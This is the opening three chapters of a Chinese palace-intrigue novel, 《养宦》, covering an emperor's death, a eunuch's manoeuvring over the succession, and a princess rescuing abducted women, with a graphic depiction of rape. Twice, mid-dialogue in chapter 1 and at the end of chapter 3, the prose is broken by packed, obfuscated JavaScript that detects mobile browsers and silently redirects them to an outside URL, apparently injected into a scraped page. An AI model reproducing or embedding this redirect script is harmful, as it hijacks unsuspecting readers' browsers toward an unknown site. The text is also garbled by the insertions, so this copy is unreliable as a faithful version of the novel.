《养宦》 1. 第 1 章 时近子夜,西苑却仍是灯火通明,无人敢眠,人人都知道,要变天了。 当今圣上自去岁南行归来后,便一直缠绵病榻,近来更是连龙塌都下不得,至今已一月有余。昨儿个夜里圣上龙体稍安,连夜急召三位内阁元老进龙虎台听旨,密谈不多时,西苑忽地就宣旨戒严。 紧接着内阁便协同司礼监拟旨将朝中一班重臣悉数招入龙虎台,眼下俱都仍未离开。 西苑乃皇家行宫御苑,在宫城之外,原是当今圣上扩建后养些老虎豹子并各种奇珍异兽休憩赏玩之地。今上自幼便喜爱弓马骑射,西苑扩建完成后自是喜不自胜,又兼年轻心性未定,日渐沉迷其间遂致流连忘返,后来索性连皇宫也不住了,直接从乾清宫搬到了西苑专门饲养猛兽的龙虎台。 此举自然招致朝中大批清流直臣们上书规谏,更有甚者竟在奏本中直呼‘陛下如此行径岂不与昏君无异’。惹得龙颜震怒,自此今上便不愿在龙虎台召见那些满口动则‘天下兴亡匹夫有责’的清流直臣。 俗语有言:上有所好,下必甚焉。 那些倚仗奇巧钻营谄媚君主的小人眼见天子无心朝政,便愈发肆无忌惮地收刮奇珍异宝来蛊惑君心,如此恩宠又更盛,以至那弄权干政,打着皇帝的幌子欺压百姓敛财私用者数不胜数。 龙虎台内日日设靶围猎,夜夜嬉戏放纵,久而久之,龙虎台内上至君王下至臣子再无人谈论国事政务。 清流们视出入龙虎台之人皆为溜须拍马蝇营狗苟之辈,向来是不齿来此间行走的,忽的一夜之间如此多朝中重臣集结于此,怎能不人心惶惶。 殿外专职伺候的宫人们小心翼翼地抬头看了眼殿门紧闭的龙虎台,心下不约而同冒出一个大胆的念头,陛下恐是不久于人世矣。 先帝睿宗皇帝乃圣明之君,重情重义,一生后宫只有一人,因此子嗣不丰。当今圣上是独子,偏偏至今仍无子嗣,国无储君,还不知会出些什么乱子。 思绪及此,宫人们内心不由更添惶恐,他们虽都是些身不由己只能任由主子们生杀夺予的贱命之人,然已在宫墙内苑侍奉多年,主子们的脾性皆已知悉,只要小心哄着伺候着,到底还有个奔头,如今若要再换个不知脾气底细的主子,谁又知是好是坏,反搅得人心里没个安稳。 焦勖敛眉跪在外间,较往常更恭顺三分的姿态让他在一屋愁眉肃穆的老臣之中并不惹眼。 偌大的宫殿内此时雅雀无声,皇帝过午起便已不能进食,此刻更是已经连话都不能说了。太医们虽都支支吾吾不敢言明,但大殿内所有人心里都清楚,左右也不过就是这一时半刻的事了。 乍暖还寒时候,即便屋子里升了炉火,夜半也仍旧冷得叫人骨头都疼。跪了整整一日,焦勖的腿早已没了知觉,双唇也因刻意减少饮水而干燥起皮,身体明明极度疲乏,精神反而愈发抖擞起来。 他在等,等行到水穷处的那一刻。 忽地一声带着哭腔的高呼穿透整个大殿,嗓音尖细刺耳。 “陛下归天了!” 这台等候许久的大戏终于徐徐拉开了大幕,焦勖眉目微动,抬起双手交叠在额前,重重地伏下了身去。 “恭送陛下归天!” 大殿之内朝臣近侍们俱都长身伏地,齐齐泣声痛呼。 不多时皇帝驾崩的消息便传遍了整个西苑,此起彼伏的哀哭声响彻苑内,至于其间几人真心几人假意,便只有天知地知己知。 “娘娘!” “娘娘!” 冯太后身边近身侍奉的掌事嬷嬷甫一接到噩耗,立时踉跄着闯进佛堂:“陛下...陛下他...方才已经殡天了!” 一语未了人先已大哭着扑倒在了正潜心焚香祷告的冯太后腿边。 佛堂里萦绕不绝的经文声戛然而止,冯太后下意识抓紧掌中的佛珠,顿了顿,回身怔怔地望着伏在自己腿边痛哭流涕的金嬷嬷,脑中忽然便断了片似的什么也想不起。 就这样怔怔地顿了好一会儿,冯太后方才微微蹙起眉头,对着伏在她腿边哭得好似要死过去一般的金嬷嬷轻声呵斥。 “好好地你哭什么!” 话音未落又喃喃自语一般失神地问金嬷嬷:“方才我好似听到你提璠儿了,可是璠儿好些了?” 冯太后冷静得反常,眼神虚虚地散着,自说自话的模样生生把金嬷嬷骇住了,陡然惊出一个激灵。 陛下已经没了,娘娘可不能再出事啊! 金嬷嬷惊惧无措地膝行两步抱住冯太后的腿哭得愈发肝肠寸断。 “娘娘,您别吓老奴啊!陛下最是孝顺,万望娘娘节哀!” 冯太后只管怔怔地望着金嬷嬷,好似听不懂人话了似的攥紧手中的佛珠问她。 “节哀...何事节哀?” 问这话时,她的嗓音不由自主地打着颤,话一出口忽地自己就明白了过来。 是她的皇儿,她的璠儿走了,同他的父皇一样,说走就走,扔下她这老妇人孤身在这人世,独自凄凉。 冯太后只觉喉头一甜,捂住心口未及说话一口热血便喷涌而出,直直地晕死了过去。 金嬷嬷被这突生的变故吓得手脚冰凉,慌乱中险险接住晕死过去的冯太后,冲着佛堂外高声疾呼:“快来人啦!宣太医快宣太医!娘娘晕过去了!” 话音方落,佛堂里呼啦涌进来四五个宫女宦官,看到晕倒在金嬷嬷怀中的冯太后和她地上的血渍,俱都吓得面如土色,顿时全慌了手脚,围着冯太后和金嬷嬷哭天抢地,佛堂里立时乱做一团。 布置好灵堂,将建武皇帝的尸身收殓完毕,已近正午。焦勖由着近身侍候的小宦官平安搀扶着,借着他的力勉强支撑着走出龙虎台。 身上的气味已经难闻得叫人生厌,纵使再浓郁的香味也已遮掩不住,焦勖面上仍旧一副菩萨低眉的温淡笑脸,唯有扶着他的平安知道,主子身上迫人的戾气已逼得他不由自主地腿肚子打颤了。 他们这些人,身上到底是少了块肉,总是比寻常人要难以自控些,而主子又最是爱洁净的一个人,这次若不是因着陛下殡天,一应大小后事少不得主子忙里忙外操持,哪里能忍得下来。 平安佯自压下心底的骇意,微垂着眉眼,只当作不知。 出了龙虎台不远便是一处校场,视野开阔,平安觑着四下无人,低声向焦勖禀报眼下各处人马的动静。 “太后现下仍还昏迷着,太医说是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735146|174051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤心过度又兼连日来修养不足所致,好在娘娘平日身子康健,眼下服了药,至多不过今晚便能醒过来。三位阁老要了宗室的册子,现下还未商量出个结果,首辅大人的意思是兄终弟及,内阁暂拟了份名单,属意的有陆州的宁王殿下,衡州的献王世子,保宁的寿王世子,常德的荣王世子,以及沂州泾王家的静康郡王。” 先帝虽然只有已故的建武皇帝一个儿子,却有许多兄弟。只是大历高祖遗训,本朝除太子外,已成年的皇子需得离京就藩,藩王非召不得离开封地,不得参与朝政,不得买卖经商,更不得与其他藩王往来。因此王爷们现都散落在各地。 焦勖凝神听着,脑中快速划过近支谱系,心中已了然。 这些藩王世子俱都只十五六七岁的年纪,最小的静康郡王更是才十一岁,俱是些少年人,又从未受过帝王之术的教养,如若即位,必得仰仗内阁处理朝政。 焦勖不置可否,顿了顿,淡声问了句:“宁王是这月袭的爵?” 平安略想了想,回道:“本月初七,殿下的生辰一过,便由宗室授礼正式承封了爵位。” 猜不出他问这话有何用意,平安回完话小心地打量了一眼焦勖看不出心思的苍白的侧脸,心下自思。 先宁王过世已有两年,小世子袭位本是顺理成章之事。朝廷历来对各藩地从未少过监察,往年自陆州过来的折子也未见主子另眼相看,不知他何故突然关心起宁王何时袭封这等小事来。 焦勖点头,未再多言,撑着平安的胳膊缓步前行。 想到焦勖惯常不喜人擅自揣度他的心思,平安到嘴边的那句‘主子可是中意宁王殿下’到底是吞了回去,另起话头继续道:“国舅府暗中与岐王府来往已有多时,果不其然,陛下殡天的消息甫一出来,国舅爷立时就来求见太后,只是娘娘迟迟不醒,国舅爷等不及便先回府去了。国舅爷暗中发往青州岐王府的陛下殡天的消息我们的人已经截下。张振今日清晨又来求见陛下,被韩首辅着人打发回去了,奴才估摸着他似乎已经察觉到陛下已驾崩,刚刚递了份称病的折子进来,内阁收下了。” 听到张振的名字时,焦勖一贯平静的脸上难得露出了几分毫不掩饰的厌恶之情。 他抿了抿唇,低声嘱咐平安:“继续盯着各处的动静,尤其是张振,他手里握着宣府、大同、辽东、延绥四处的边军,内阁不会容他,如今没了陛下这个倚仗,难保不狗急跳墙,让张季的三千营多留点神。” 说话间二人已回到了焦勖平日在西苑起居的值房,平安一面答应着,一面吩咐人将早已备好的药浴并洗漱用具抬进卧房。 焦勖将脱下的孝衣递给平安。 平安知他沐浴更衣时惯是不喜人近身,悄声合上房门退了出去。 焦勖蹙眉解下一身的脏衣,腕间那颗平日藏于衣袖之内的红豆便跳将出来,色如血,艳丽异常,愈发衬得系着它的那一截手腕白如皓雪。 氤氲的水汽蒸腾而上,焦勖半倚在浴桶边缘,手指有一搭没一搭地摩挲着那颗小小的红豆,这是他入宫以后养成的习惯。 他身上与过去有关联的物件早已所剩无几,唯有这颗红豆,陪着他几经辗转,一直也没有弄丢。 2. 第 2 章 暮春三月,陆州正是桃红柳绿、杨花扑面的烂漫时节,远在京城的波诡云谲尚未蔓延至此。 涯舟书院校场上,赵琦刚为学生们拆解完骑射要领。话音方落,她已抄起长弓,身形矫健地飞身上马。马蹄踏起烟尘,她策马疾驰,双腿紧夹马腹,上身稳稳立于飞驰的马背之上。 紧接着,她松开缰绳,挽弓搭箭,在纵马如风的瞬间,弓弦连响,箭矢如流星般破空而出!不过片刻功夫,她已策马自北而南横穿校场,一个漂亮的回旋,勒马停在一众少年面前。 这一连串动作行云流水,飒爽英姿令人屏息。 学生们齐刷刷望向东侧靶场——整整三十个箭靶,靶心位置不偏不倚,各插一支羽箭!最末两支的箭羽,犹在簌簌颤动。 这些十四五岁的少年,跟随赵琦修习弓马骑射已四五年,虽早已见识过她超凡的技艺,此刻仍被这例无虚发的连珠箭惊得目瞪口呆,旋即爆发出震天的喝彩,个个摩拳擦掌,跃跃欲试。 “夫子,让我先来!” “还有我,夫子!我也想试试!” 半大小子们叽叽喳喳,争先恐后地围拢赵琦,唯恐落后。见弟子们如此勤勉上进,赵琦眼中笑意更盛,正待点两人出列考校近况,校场外忽传来一声急切的呼唤。 “郡主!不好了!” 喊话之人十六七岁的年纪,柳眉倒竖满面怒容,正是赵琦的贴身侍女郁离,正施展轻功疾奔而来。她步履如飞,眨眼间已至赵琦近前,气息微促地急声道:“汪夫子被人打伤了!莞儿姐姐被恶人抢走了!” 赵琦快步迎上,眉峰微蹙:“怎么回事?说清楚!” “方才汪夫子昏迷着,被永善堂的李掌柜带人抬上山来!”郁离语速飞快,带着压抑不住的怒火:“我们一问才知,汪夫子今早带莞儿姐姐下山置办笔墨,回程途中撞见一个恶少!那厮言语轻佻,竟当街动手抢人!汪夫子护着莞儿姐姐,反被打成重伤昏迷,莞儿姐姐也被那禽兽不如的东西掳走了!” “岂有此理!”赵琦脸色陡然转厉,眸中寒光乍现:“陆州莫非是没王法了不成?光天化日,朗朗乾坤,竟就敢当街掳人!” 她抬脚便往外走,步履生风:“报官了没有?” “报了!”郁离紧跟其后,语气更是愤恨:“可知府衙门不敢管!” 围拢过来的少年们闻言,亦是怒不可遏,纷纷啐道:“定是那怂包知府怕惹祸上身!” “不知是什么来头的权贵恶棍,竟让官府都缩了头!” 少年们心直口快,只道是官府无能。赵琦却不然。 她脚步微顿,敏锐地抓住了“不敢管”而非“不管”的意味。陆州知府徐经,虽圆滑世故,却非鱼肉百姓的昏官,在任这些年也做了几件实事。他竟不敢管,那掳人者的来头,恐怕大到让他根本无力承担。 陆州民风素来淳朴,境内纵有几个仗着祖荫的纨绔,也早被她收拾得服服帖帖,掀不起风浪。若论陆州“头号纨绔”,外人只怕第一个想到的,反而是她这位“不务正业”的郡主赵琦。 “什么底细?”赵琦的声音冷了下来。 “尚不清楚,”郁离咬牙道:“只知那人名叫许茂,自称是京城某位大官的亲戚,而那大官是当今皇上身边的红人!” 语气中满是不齿——当今皇上在位十六年,正事不干,光宠信奸佞小人去了,皇上身边的红人,能是什么好东西。 “那不要脸的恶贼,游历途经咱们陆州,与本地几个泼皮浪荡子厮混一处,打着替皇上征选宫人的幌子,听说已掳走了好几个好人家的姑娘了!” 听闻受害者不止莞儿一人,赵琦眼中寒芒暴涨,一股凛冽的杀意几乎凝成实质。她冷笑一声,字字如冰:“好一个仗势欺人!本郡主倒要看看,是他的靠山势大,还是我的拳头势大!郁离,牵马!” 她断然下令,气势凛然:“官府不敢管,咱们管!跟本郡主去抢人!” “是!郡主!” 郁离高声应命,眼中凶光闪烁,愤懑之色一扫而空,冷笑连连。 人面兽心的下流坯子,不揍得你哭爹喊娘,往后听到“陆州”二字就绕道走,姑奶奶就不姓姜! “夫子!我们也跟您一起去!” “对!带我们去吧!一起把莞儿姐姐和其他姑娘都抢回来!” “定叫那禽兽尝尝小爷拳头的滋味!看他还敢不敢在陆州撒野!” 少年们热血沸腾,又身负武艺,平日里深受赵琦‘习武当以锄强扶弱为己任’的教诲,此刻哪里还按捺得住。 少年们不畏强权的血性,让赵琦心中既感欣慰又涌起一股暖流。然而,她不能答应。 涯舟书院是由赵琦的祖母先文太妃捐资兴办的义学,自永泰十一年兴建至今,一直广收陆州寒门子弟。书院里绝大多数的少年,都是寻常百姓家的孩子,背后并无倚仗。连徐经这个知府都不敢惹的人,在这陆州地界,恐怕也只有她赵琦这个顶着宗亲名头的郡主敢去碰一碰。 她惹事,自有这层皇室宗亲的身份护着,至多得罪些人,吃不了大亏。可这些少年不同。 他们是希望,是未来可能成为栋梁的种子。他们该珍惜这安心读书的时光,日后才能走出陆州,为这浑浊的世道注入清流。这朝堂吏治早已腐朽,前路荆棘密布,那些奸邪小人,能晚些招惹,便晚些吧...... 总好过像她,一生只能困守在陆州这方寸天地,终成庸碌。 “好孩子们,你们的心意,夫子领了。” 赵琦展颜一笑,压下心头的复杂,随即正色道:“不过区区一个狗仗人势的跳梁小丑,还用不着你们出手。” 她目光扫过一张张年轻而激愤的脸庞,语气转肃:“都给我好好待在书院上课!待夫子收拾了那衣冠禽兽,回来可是要考校你们功课的!” 她目光精准地落在一个面色黝黑、浓眉大眼、显得较为沉稳的粗壮少年身上:“魏良!” “学生在!”魏良立刻挺直腰背。 “这群小崽子,夫子暂且交给你了。”赵琦声音清朗,带着不容置疑的威严:“我回来时,若发现谁的功课落下了,第一个罚的,就是你!可担待得住?” 魏良眼中虽有未能同去的失望,但更多的是对夫子的绝对信任。他抿紧嘴唇,用力点头,郑重承诺道:“夫子放心!学生定督促同窗勤学苦练!若有落下功课者,学生甘愿领罚!” 赵琦最后看了一眼这群眸光清澈、满含信任的少年,再无多言,转身大步流星向校场外走去。 冷冽的寒霜瞬间覆上她的眉梢眼角。 她倒要见识见识,是个什么东西,敢在她的地盘上抢人! 那许茂行事如此肆无忌惮,落脚处自然不难寻。 赵琦主仆快马加鞭赶回城内,稍加打探,便有众多苦主悲愤鸣冤。 原来那许茂岂止掳人,更纵容家奴强抢钱财,打伤无辜百姓!赵琦越听,胸中怒火越炽。她不过上山数日,城中竟来了这等恶霸,当真无法无天! 许茂强占了城南富户孙家的宅院。孙家不过一介茶商,哪敢招惹这等官家子弟,只得忍气吞声,不仅让出宅子,还需每日好酒好饭伺候着,只盼这煞星早日离境。 赵琦眸中厉色一闪,叫住围观人群中一个健壮的青年,语速飞快却字字清晰:“小哥,劳烦速往宁王府传个口信——就说朝云郡主要人,带齐人手即刻赶往城南大同街孙宅!” 话音未落,她已带着一身凛冽杀气,与郁离策马扬鞭,如离弦之箭般直奔城南孙家宅院而去。 许茂本就急色之徒,掳了汪莞归家后,不待回房便欲强要了她。家奴们早知他的秉性,入了内宅便已知趣地四散开去。 汪莞如何肯从,自是使尽浑身气力挣扎。奈何那许茂长得人高马大,兼有些武艺在身,非但挣脱不了分毫反使得许茂愈发地亢奋。 “小娘子好烈的性子,别着急,爷保管待会儿好好让你快活快活。” 汪莞何曾听过这般污言秽语,几欲把牙咬碎,心中又惧又恶,盈满泪水的双眼带着恨意怒视着许茂,忽地张嘴就要咬舌。 哪知这许茂是此间老手,早有防备,抬手便捏住她的下颚用力一扭卸了下去,噙着嘴角冷笑:“想死?等爷快活了你想去哪儿死去哪儿死。”说罢欺身压在汪莞身上。 汪莞挣脱不得求死又无门,当真是叫天天不应,叫地地不灵,正自无助绝望之时,忽感腰间一轻,泪眼朦胧里只见正在她身上作恶的许茂被人从后一把抱住往外直拖。 “碰不得啊,表哥,这丫头是涯舟书院的人。” 汪莞忙趁势蹬开许茂还欺在她身上的半条腿,滚开几步爬起身,捂紧衣衫便往院外跑。 许茂被人扫了兴,又见汪莞趁势跑了,正要发作,回头看见死抱着自己不放的人是自家亲戚,勉强按捺住脾气,一面冲着院外骂道:“都死哪儿去了?还不赶紧给爷把人抓回来!” 一面冷笑着问死抱着自己的公子哥:“碰不得?莫非这陆州还有什么惹不得的人不成,松手!” 语气极尽嘲讽,显而易见是不把陆州满地之人放在眼中。 那公子哥连忙松开紧扣在许茂腰间的手,赔笑道:“是是,莫说这陆州,普天之下也没几人敢不给表哥您面子。只是这涯舟书院的人有些麻烦,弄不好就得惹一身骚,像表哥您这般勇猛的人物,又如此金贵,何必去沾染这些下贱之人。” 许茂被他吹捧得十分受用,面色松了松,语气轻蔑地冷哼道:“不过小小一个书院,也值当你慌成这样!” 说话间汪莞已被人捉住带了回来,发髻散乱,犹自死命挣扎。 许茂如饿狼一般的目光自下而上扫过汪莞,眼见她此刻衣衫凌乱双眼通红,风姿尤甚方才,心底那股压不住的邪火愈发烧得旺了起来。 他神色下流地故意盯住汪莞脖颈上的几点红痕慢悠悠地开口。 “爷今天偏就看上这丫头了,非睡了不可。爷倒要看看睡了她能有什么麻烦!” 汪莞瞪视着许茂,目裂欲眦,心中恨极。 那公子哥头疼地看了一眼被折腾得发髻凌乱衣衫不整的汪莞,心中叫苦连连,愈发讨好地赔笑道:“这丫头倒是没什么,只是她背后的人有些难缠。那书院是宁王府出资兴办的,宁王府的朝云郡主现下还是书院里的夫...” 话未及说完被许茂冷哼一声不耐烦地打断:“我当是什么了不得的倚仗呢,原来不过是个被发配的藩王府,现今这藩王,往好听了说是皇亲国戚,说穿了还不就是朝廷花钱养的金丝雀,无权无势,一辈子连藩地都离不得,如何能比得上我 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那是你没挨过她的鞭子,等你也被那姑奶奶抽上几鞭子看还说不说这风凉话。那姑奶奶心又黑又狠,哪里像个女人,专挑人疼的地方抽,活该一把年纪还嫁不出去。 公子哥一面诽腹一面求情:“求表哥垂怜,兄弟是真被她打怕了。” 说着竟还放声哭了起来,许茂一阵嫌恶,兴致也去了大半,没好气道:“别嚎了!老子不碰就是了。” 公子哥闻言方才松了口气,忙止住哭声,也不管许茂如何骂他,喜不自禁地连连拱手:“多谢表哥疼惜兄弟,兄弟今天晚上备两个美人,一定好好给表哥赔罪。” 一面说着一面爬起身吩咐缚着汪莞的下人们放人。 汪莞劫后余生,勉强松了口气,身子一软,仍是止不住地打颤。 岂料下人们正要依令放人时,许茂忽然又开口拦住。 “慢着!” 公子哥脸上的笑容跟着一僵,不知这祖宗又要玩什么花样,转身讨好的笑问:“表哥还有什么吩咐?” 许茂如毒蛇般阴毒的目光凉凉地落在汪莞身上,对上汪莞猛地抬头瞪视过来的憎恨目光时,嘴角咧开一抹满怀恶意的笑容。 那笑叫汪莞不寒而栗,她望着那双眼睛里毫无温度的残忍,全身不受控制地颤抖起来。 许茂好似欣赏爪底垂死挣扎的猎物一般好整以暇地冷冷开口:“爷现下这一身的火气也不能就这么憋着啊...来人!去隔壁院里挑个丫头过来。” 听他并非要动汪莞,公子哥悬着的心重又落地——爱玩谁玩谁罢,只要不动朝云郡主的人。 很快就有一个跟汪莞年纪相仿的姑娘被许府的家奴强扭着带进了厅来,那姑娘满脸惊慌恐惧,一如方才的汪莞。 许茂命家奴将汪莞的手脚缚住绑在厅内的一张太师椅上,提步走到颤抖着身子满眼惊惧不安的汪莞面前,弯腰凑到她耳边,附耳轻声在她耳边低语。 “睁大眼睛好好看着,这丫头是代你受用我的恩宠呢,你得感激她。” 汪莞的脸倏地煞白,泪瞬时便落了下来。她听懂了,她无助地望向厅内被下人们扭着双手不住挣扎的少女,生平第一次,如此恨一个人。 “你会遭报应的!你这个禽兽,你一定会遭报应的!” 汪莞痛苦地呐喊出声,不住地摇头:“不要,不要...” 许茂望着她眼中陷入绝境般的骇然与无助,不禁畅快地大笑了起来。他食指微曲抬手抹下汪莞眼下的一滴泪,移到唇边漫不经心地伸出舌尖舔舐干净,一脸陶醉。 “啧啧~果真是个美人,哭起来当真是我见犹怜,叫人心疼...” “都出去!” 许茂转身丢下这句话,面色狰狞地大步走到那被擒着的姑娘面前,抬手便撕碎了她的衫裙。 那姑娘本也是被许茂掳来的,自然不从,只是拼命挣扎踹打许茂。 折腾了这半日,许茂早已没了耐心,抬手便是两个巴掌。 “贱人!别敬酒不吃吃罚酒。” 这两巴掌半点气力未收,那如花似玉的姑娘两颊立即便肿胀了起来。 汪莞被迫看着面前许茂的兽行,心都要碎了,不住地骂他。 “禽兽,你别打她!你放开她!” 许茂根本不理,仍旧埋身在那姑娘身上四处作恶,那姑娘再要反抗又吃了两巴掌,痛得只想去死,渐渐地便不敢再挣扎,只小声啜泣,权当自己死了一般。 “给脸不要脸,爷肯碰你是你的福气。” 汪莞终是不忍再看许茂凌辱那姑娘,撇开脸痛不欲生地大哭着。正哭得肝肠寸断时,只听厅外院子里一片吵嚷声,跟着便滚进来一个慌慌张张苍白着脸的护院。 “少爷,不好了,打进来了!” 许茂正在兴头上,好事忽的又被人打断,哪管那护院有理无理,抬起腿当胸便是一脚:“慌什么慌,什么人...” 未及说完自己也当心遭了一脚,许茂吃痛,瞬时被踹飞出去,只撞得那桌椅瓷瓶乱飞。 他狼狈地从地上一跃而起,尚未看清来者是何人,兜头又被人连扇数个巴掌,只扇得眼冒金星,鲜血直流,抬手欲挡,对方扬手又是一鞭,那用来格挡的手背连着小臂立时皮开肉绽。 3. 第 3 章 赵琦甩完鞭子回身看清屋内情状,心中怒气更甚,且先暂不管那滚地乱嚎的许茂,扬手解下身上的外袍盖在地上那已心如死灰的姑娘身上,不落忍地撇开了眼。 “禽兽!” 她纵身夺过身后追过来的当先一个护院手中的长刀,反手两鞭将人抽翻在地,回身用刀割断绑着汪莞的麻绳。 见她下颚处似是怪异,细打量罢便已看出是被人卸了下颚,不由更恨,忙伸手帮她正了回去。 这时郁离也已赶了进来,打眼看清屋内情状,眼睛一红,赶忙倾身接住了已哭得肝肠寸断的汪莞。 “莞儿姐姐别怕!我们来救你了,不会再有人能伤害你了。” 郁离到底年纪小,虽还不通人事,但看见汪莞凌乱的发髻和衣衫,也知道她是遭了欺负,心疼得不行,开口便带上了哭腔。 “照顾好莞儿和这姑娘!” 赵琦双目赤红,丢下这句话,飞身便要去取许茂性命。 那许茂一个壮硕大汉,居然被赵琦几鞭子抽得半天爬不起来,好容易被护院扶着起身,还没弄明白怎么回事,抬眼便见赵琦横刀杀气腾腾地飞身过来,当即大叫:“救命啊!来人,快来人!” 一面喊着一面顺势捉了身边的护院挡刀。 无耻鼠辈!拿他人性命苟且偷生,好生没种! 赵琦到底未伤那护院性命,手腕一转,杀势顿减,只砍了那许茂一刀。 许茂趁机脱身,一面仍旧大叫着呼喊帮手。 孙宅的府卫早已被赵琦和郁离修理得七零八落,剩下的几个有郁离守在门口,根本近不得赵琦的身。 赵琦反手一掌震开被许茂推至身前挡刀的护院,抬手又是一刀砍在许茂的背上。 许茂狼狈地东逃西窜,已被连砍了两三刀,虽不致命,也疼得他直冒冷汗。 眼见性命就要丢在这夜叉悍妇手中,许茂连忙高声大喊道:“我姐夫是张振,你若了杀了我我姐夫定要这陆州的百姓陪葬。” 赵琦双眉一蹙,带血的刀刃倏地收住,堪堪停在许茂的脖颈之上。 许茂吓得面如死灰,已然明白过来眼前之人便是吓破他那表弟胆子的朝云郡主。 他见赵琦听见他姐夫名姓明显有所顾忌,连忙颤抖着声音威吓道:“你不能杀我,我姐夫是平虏伯张振,你若杀了我,我姐夫定会为我报仇,到时必要这陆州血流成河!” 原来是张振那狗贼的小舅子,赵琦握着刀柄的手用力到发白却当真未再近前一分。 说来可笑,她虽为皇亲贵胄,与建武帝赵璠是亲堂兄妹,然而在赵璠心里,要论起远近亲疏,她还真比不上张振那狗贼。现如今,连大历朝的稚子小儿都知道,平虏伯张振,与当今圣上食同桌卧同寝,常枕帝臂而眠,其亲厚程度连皇后都比不得。 赵琦双目赤红,强忍心中的杀意。 这禽兽居然当真杀不得。 还真应了徐经之言,管不了。徐经管不了,她也管不了。她的确可以图一时之快,此刻便杀了这禽兽,然而张振这等小人必不会善罢甘休。建武帝是不会在乎谁对谁错的,这等欺男霸女之事在建武帝眼里根本不算什么,他自己就干过不少。届时张振只要稍加蛊惑,因着皇室宗亲这层帽子,建武帝或许不会如何她,但让张振拿些许百姓出出气却是再容易不过的事。 可恨这世道,苍天无眼,令奸人当道,致使民不聊生。 许茂见她虽双目赤红,却果真不再动手,心中骇色渐渐退去,不由得意道:“郡主又如何,爷就是睡遍这陆州的...” 话未说完已被赵琦拦腰一脚踢飞出去。 “即刻滚出陆州!迟一刻我便在你身上划一刀,迟两刻我便划四刀,我是不能杀你,不就是仗势欺人,你想玩本郡主陪你慢慢玩。” 赵琦的表情着实骇人,许茂脸色一变,想要佯装镇定身体却不受控地直打颤,半天只装腔作势挤出一句:“小...小爷好男不跟女斗,姑且卖你个面子。” 说这话时他连赵琦的眼睛都不敢直视,说完连滚带爬地催着赶来的家奴扶他离开,那家奴只稍稍慢了半步,便被他连打带骂。 赵琦倾身抱起地上默默垂泪的姑娘,走到莞儿和郁离面前,她几乎不敢去看她们的眼睛。 “莞儿,对不...” 莞儿一把握住赵琦的手,含着泪直摇头:“郡主,你没有对不起莞儿,是你救了莞儿,莞儿没事。只是,只是...” 她说不下去了,充满愧疚的目光满含怜惜的望向赵琦抱在怀里的姑娘。 那姑娘只默默垂泪,满身伤痕不言不语的模样看得人心里难受。 赵琦红了眼睛,默了默,温声问怀里的姑娘:“你想回家还是...” 未及说完那姑娘便哭着直摇头,赵琦心下愈发难受,复又温声问道:“那跟我回王府可好?” 姑娘仍旧不言不语,只是兀自哭得断肠。 赵琦抱起那姑娘吩咐郁离道:“你好生送莞儿回书院。” 王府的人马此时也已经赶到,赵琦找到被掳来关在隔壁院子的其他姑娘,听说有一个掳来的那夜便投了井,心中愈发难受。好在余下几个许茂另有打算,尚未被其强辱,赵琦安排人好生护送归家去了。余下的府卫被她留下收拾残局。 那名被许茂强辱的少女名唤陌儿,赵琦命人寻了辆马车,安顿好诸事后,便带着她离开孙宅,去了城郊三里外的王府别院,只命人回府将侍女文竹接了过来,暂且照顾陌儿。 夜色如墨,赵琦的袍袖在夜风中猎猎作响,只见她原本倒提着铁枪,陡然间扭腰纵臂,送出枪杆,银枪在夜风中直刺出去,未及脱手便被她握住枪柄悬身横劈下去,力重千斤,带起尘土飞扬。她落地后运步如飞,枪随身走,一路连挑带刺,使的俱是枪法中临敌对阵时进攻用的杀招。 “文竹姐姐,郡主怎么了?” 郁离目光担忧地望向独自在园子里练枪的赵琦,见她招式凌厉,使的又俱都是杀招,微微有些不安。 郡主虽则自幼随已故先王妃学习家传枪法,但陈家枪法本是用于战场上冲锋陷阵,招数于马上时才能发挥到极致,于江湖好手过招时便有些吃亏,是以郡主后来又拜了师父学了刀法,而今她惯常使的兵器是一把长刀,这杆自幼使的银枪郡主已经很久没有用过了。 “她心里难受,让她发泄发泄罢。” 文竹将酒盏在亭中的石桌上搁下,叹了口气,自去温酒。 世间恃强凌弱者多如牛毛,这世道向来如此,当权者尚且不去理会,她们这些无权无势的女子又能奈何。只是郡主终究太过良善,做不到袖手旁观,是以时常自伤。 赵琦余光瞥见郁离已归,刺将出去的长枪在半空中卷起一个凌厉的枪花,落地收枪,走回亭中。 “莞儿好些了么?” “回了书院后精神便已恢复了许多,宋婆婆熬了安神汤喝完便睡了,汪夫子也已经醒了,说什么也非要守着,我留了杨威兄弟俩在那儿看着。” 赵琦点头,目光看向文竹。 文竹不待她问便已先开口回道:“陌儿姑娘已经睡下了,我留了人守着呢,她家里也去了信。发生这样的事,只旁人劝是劝不了的,终需她自己想开方才能迈过这道坎。许茂一行人未正便已出了城,我们的人一路跟着他直到看他出了陆州地界才回。我恐他偷偷遣人回来报复,已留了人在城门口留意着。” 文竹做事向来心细,赵琦抿唇,默默不语地走到石桌旁坐下,挥挥手:“你们自去歇息吧。” 语毕执壶将酒杯斟满,仰头一饮而尽。 郁离想要留下陪她,被文竹暗暗摇头拦下。 “天凉了,郡主加件衣裳,仔细着了风。” 文竹拿起一旁备好的披风,抖开披在赵琦身上,拉着郁离福身退下。 二人刚走出园子,便撞上了迎面疾步而来的宁王赵琮。少年不过十四五岁年纪,面目清俊,身姿挺拔,清亮的眸子里噙着焦急。 “郁离!阿姐呢?” 他午间在府中听闻姐姐临时调遣府卫,初时还以为是姐姐提早结束课业回来了,颇为欣喜。可左等右等不见人影,甚至连留下帮二姐姐协理王府事务的侍女文竹也被接走。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 